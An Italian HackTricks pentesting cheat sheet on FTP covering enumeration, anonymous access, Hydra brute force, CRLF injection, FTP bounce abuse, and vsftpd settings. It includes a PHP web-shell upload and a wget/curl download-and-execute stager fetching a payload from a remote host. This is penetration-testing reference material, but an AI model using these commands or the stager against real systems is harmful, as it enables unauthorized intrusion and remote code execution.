21 - Pentesting FTP
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Il File Transfer Protocol (FTP) funge da protocollo standard per il trasferimento di file attraverso una rete informatica tra un server e un client.
È un protocollo in testo in chiaro che utilizza come carattere di nuova riga 0x0d 0x0a, quindi a volte è necessario connettersi usando telnet o nc -C.
Porta predefinita: 21
PORT STATE SERVICE
21/tcp open ftp
Connessioni Active & Passive
In Active FTP the FTP client first initiates the control connection from its port N to FTP Servers command port – port 21. The client then listens to port N+1 and sends the port N+1 to FTP Server. FTP Server then initiates the data connection, from its port M to the port N+1 of the FTP Client.
Ma, se l’FTP Client ha un firewall che controlla le connessioni dati in ingresso dall’esterno, allora l’Active FTP può essere un problema. Una soluzione praticabile a questo è il Passive FTP.
In Passive FTP, the client initiates the control connection from its port N to the port 21 of FTP Server. After this, the client issues a passv comand. The server then sends the client one of its port number M. And the client initiates the data connection from its port P to port M of the FTP Server.
Fonte: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Debug della connessione
The FTP commands debug and trace can be used to see how is the communication occurring.
Enumerazione
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Connettersi a FTP usando starttls
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Enumerazione non autenticata
Con nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
Puoi usare i comandi HELP e FEAT per ottenere alcune informazioni sul server FTP:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Accesso anonimo
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
Qui puoi trovare una buona lista con default ftp credentials: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Automatico
Anon login and bounce FTP checks vengono eseguiti di default da nmap con l’opzione -sC oppure:
nmap --script ftp-* -p 21 <ip>
Connessione tramite browser
Puoi connetterti a un server FTP usando un browser (come Firefox) utilizzando un URL come:
ftp://anonymous:anonymous@10.10.10.98
Nota che se una web application sta inviando dati controllati da un utente direttamente a un server FTP puoi inviare double URL encode %0d%0a (in double URL encode questo è %250d%250a) byte e far eseguire al server FTP azioni arbitrarie. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall’utente, effettuare port scanning o tentare di comunicare con altri servizi basati su plain-text (come http).
Scaricare tutti i file da FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Se il tuo user/password contiene caratteri speciali, può essere usato il seguente comando:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root mapped to webroot (XAMPP)
- XAMPP/ProFTPD spesso mappa l’FTP root su
/opt/lampp/htdocs, quindi credenziali deboli su account di servizio comedaemononobodyti permettono di upload a PHP web shell directly into the served webroot. - Dopo l’upload, avvia uno architecture-aware download/exec stager tramite la shell, per esempio:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), che scarica un payload con checksum validato, lo salva (es.,init_start), eseguechmod +xe lo lancia. - Se la directory corrente non è scrivibile/eseguibile, lo stager ricade su
/tmp, quindi verifica i percorsi web e i permessi del filesystem dopo l’upload.
Alcuni comandi FTP
USER usernamePASS passwordHELPIl server indica quali comandi sono supportatiPORT 127,0,0,1,0,80Questo indicherà al server FTP di stabilire una connessione con l’IP 127.0.0.1 sulla porta 80 (devi mettere il 5° valore a “0” e il 6° come la porta in decimale oppure usare il 5° e 6° per esprimere la porta in esadecimale).EPRT |2|127.0.0.1|80|Questo indicherà al server FTP di stabilire una connessione TCP (indicata da “2”) con l’IP 127.0.0.1 sulla porta 80. Questo comando supporta IPv6.LISTMostra la lista dei file nella cartella correnteLIST -RLista ricorsivamente (se permesso dal server)APPE /path/something.txtIndica all’FTP di memorizzare i dati ricevuti da una connessione passive o da una connessione PORT/EPRT in un file. Se il file esiste, aggiunge i dati alla fine.STOR /path/something.txtComeAPPEma sovrascrive i fileSTOU /path/something.txtComeAPPE, ma se esiste non fa nulla.RETR /path/to/fileDeve essere stabilita una connessione passive o PORT. Poi il server FTP invierà il file indicato attraverso quella connessioneREST 6Indica al server che la prossima volta che invia qualcosa usandoRETRdovrebbe iniziare dal byte 6.TYPE iImposta il trasferimento in binarioPASVApre una connessione passive e indica all’utente dove può connettersiPUT /tmp/file.txtCarica il file indicato sull’FTP
.png)
FTPBounce attack
Alcuni server FTP permettono il comando PORT. Questo comando può essere usato per indicare al server che vuoi connetterti ad un altro server FTP ad una certa porta. Così puoi usarlo per scansionare quali porte di un host sono aperte attraverso un server FTP.
Scopri come abusare un server FTP per scansionare porte.
Puoi anche abusare di questo comportamento per far interagire un server FTP con altri protocolli. Potresti upload a file containing an HTTP request e far sì che il server FTP vulnerabile lo invii a un HTTP server arbitrario (magari per aggiungere un nuovo utente admin?) o anche caricare una richiesta FTP e far sì che il server FTP vulnerabile scarichi un file da un altro server FTP.
La teoria è semplice:
- Upload della request (dentro un file di testo) sul server vulnerabile. Ricorda che se vuoi parlare con un altro HTTP o FTP server devi cambiare le linee con
0x0d 0x0a - Usa
REST Xper evitare di inviare i caratteri che non vuoi inviare (forse per uploadare la request dentro il file hai dovuto mettere qualche header immagine all’inizio) - Usa
PORTper connetterti al server e servizio arbitrario - Usa
RETRper inviare la request salvata al server.
È molto probabile che questo generi un errore tipo Socket not writable perché la connessione non dura abbastanza da inviare i dati con RETR. Suggerimenti per cercare di evitarlo:
- Se stai inviando una HTTP request, metti la stessa request una dopo l’altra fino ad almeno ~0.5MB. Così:
- Prova a riempire la request con dati “junk” relativi al protocollo (parlando con FTP magari solo comandi junk o ripetendo l’istruzione
RETRper ottenere il file) - Semplicemente riempi la request con molti caratteri null o altri (divisi in linee o no)
Comunque, qui hai un vecchio esempio su come abusare di questo per far scaricare a un server FTP un file da un diverso server FTP.
Vulnerabilità di FileZilla Server
FileZilla di solito si lega a un servizio amministrativo locale per il FileZilla-Server (porta 14147). Se puoi creare un tunnel dalla tua macchina per accedere a questa porta, puoi connetterti ad essa usando una password vuota e creare un nuovo utente per il servizio FTP.
File di configurazione
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
La configurazione predefinita di vsFTPd si trova in /etc/vsftpd.conf. Qui potresti trovare alcune impostazioni pericolose:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- Directory per utenti anonimi.chown_uploads=YES- Cambia la proprietà dei file caricati da utenti anonimichown_username=username- Utente a cui viene assegnata la proprietà dei file caricati da utenti anonimilocal_enable=YES- Permette agli utenti locali di effettuare il loginno_anon_password=YES- Non richiedere la password agli utenti anonimiwrite_enable=YES- Consente i comandi: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE
Shodan
ftpport:21
HackTricks Comandi Automatici
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


